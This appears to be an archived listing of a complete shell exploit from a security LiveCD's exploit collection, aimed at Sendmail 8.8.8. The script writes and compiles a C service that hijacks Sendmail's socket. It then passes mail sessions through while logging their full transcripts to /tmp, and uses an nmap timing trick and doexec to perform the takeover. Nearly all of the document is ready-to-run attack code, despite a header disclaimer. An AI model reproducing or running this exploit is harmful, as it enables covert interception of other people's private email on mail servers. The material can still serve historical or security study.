home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / smhijack.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  116 lines

  1. #!/bin/bash
  2.  
  3. #
  4. # Sendmail 8.8.8 mail hijacking
  5. # (c) Michal Zalewski <lcamtuf@ids.pl>
  6. # ------------------------------------
  7. # This exploit will hijack all Sendmail connections, loggin
  8. # mail traffic to some location (/tmp by default, change to
  9. # something more private). Normal MTA functionality is
  10. # preserved - you could call it 'transparent mail traffic sniffer'. 
  11. #
  12. # NOTE: usage other than for diagnostic oreducational purposes
  13. #       is simply *illegal* and villainy. Privacy is sanctity.
  14. #
  15.  
  16. echo "---------------------------------------------"
  17. echo "Welcome to Sendmail 8.8.8 mail hijack exploit"
  18. echo "---------------------------------------------"
  19. echo
  20.  
  21. echo "* Creating files in /tmp (hopefully no 'noexec' there)..."
  22.  
  23. cd /tmp
  24. cat >test.c <<EOF
  25.  
  26. #include <netinet/in.h>
  27. #include <fcntl.h>
  28. #include <signal.h>
  29. #include <errno.h>
  30.  
  31. #define SERV_FD 4
  32. #define DIRECTORY "/tmp"
  33.  
  34. main(int argc,char* argv[]) {
  35.   int to_sm[2],from_sm[2],rd,fd,e1=0,e2=0;
  36.   char buf[4096];
  37.   struct sockaddr_in saddr;
  38.   int csock,i=sizeof(saddr);
  39.   if (strcmp("sendmail",argv[0])) execl(argv[0],"sendmail","-bd",0);
  40.   signal(SIGCLD,SIG_IGN);
  41.   while (1) {
  42.     while ((csock=accept(SERV_FD,&saddr,&i))<0);
  43.     if (!fork()) {
  44.       sprintf(buf,DIRECTORY "/trans-%d-%d-in",time(0),getpid());
  45.       fd=open(buf,O_WRONLY|O_TRUNC|O_CREAT,0600);
  46.       pipe(to_sm);
  47.       pipe(from_sm);
  48.       if (!fork()) {
  49.         dup2(to_sm[0],0);
  50.         dup2(from_sm[1],1);
  51.         dup2(from_sm[1],2);
  52.         close(to_sm[1]);
  53.         close(from_sm[0]);
  54.         execl("/usr/sbin/sendmail","sendmail","-bs",0);
  55.         exit(0);
  56.       }
  57.       close(to_sm[0]);
  58.       close(from_sm[1]);
  59.       while ((!e1 || (e1==EAGAIN)) && ((!e2 || e2==EAGAIN))) {
  60.         fcntl(csock,F_SETFL,O_NONBLOCK);
  61.         rd=read(csock,buf,sizeof(buf));
  62.         if (rd>0) { write(to_sm[1],buf,rd); write(fd,buf,rd); }
  63.           else if (rd) e1=errno; else e1=1; /* bab00m */
  64.         fcntl(from_sm[0],F_SETFL,O_NONBLOCK);
  65.         rd=read(from_sm[0],buf,sizeof(buf));
  66.         if (rd>0) write(csock,buf,rd); else if (rd) e2=errno; else e2=1; /* kaboom */
  67.         usleep(10000);
  68.       }
  69.       write(fd,"\nEOF\n",5);
  70.       close(to_sm[1]);
  71.       close(from_sm[0]);
  72.       close(fd);
  73.       shutdown(csock,2);
  74.       close(csock);
  75.       exit(0);
  76.     }
  77.   }
  78. }
  79. EOF
  80.  
  81. echo "* Compiling takeover service..."
  82.  
  83. gcc test.c -o test 
  84.  
  85. nmap -p 25 -sS -P0 -n 127.0.0.1 &>/dev/null
  86.  
  87. echo
  88. echo "* Now, on your root box (could be your own machine), you have"
  89. echo "  to execute following command (of course nmap is required, get"
  90. echo "  it at www.insecure.org/nmap/). Then, you have just seconds"
  91. echo "  to hit RETURN here, so the exploit could continue. Try to fit"
  92. echo "  in less than 4 secs."
  93. echo 
  94. echo "  Command: nmap -p 25 -sS -P0 -n `hostname -i`"
  95. echo
  96. echo -n "Hit RETURN to continue... "
  97. read
  98. echo
  99.  
  100. echo "* Ok, time's up... Hopefully you fit in 4 seconds..."
  101.  
  102. doexec /usr/sbin/sendmail /tmp/test -bD &
  103.  
  104. echo "* Wait a moment, takeover in progress..."
  105.  
  106. sleep 2
  107. killall -HUP sendmail 2>/dev/null
  108. sleep 3
  109. rm -f /tmp/test /tmp/test.c
  110.  
  111. echo "* Let's see what we have here... type some bogus commands"
  112. echo "  and check for session transcript in choosen directory..."
  113. echo
  114.  
  115. telnet 127.0.0.1 25
  116.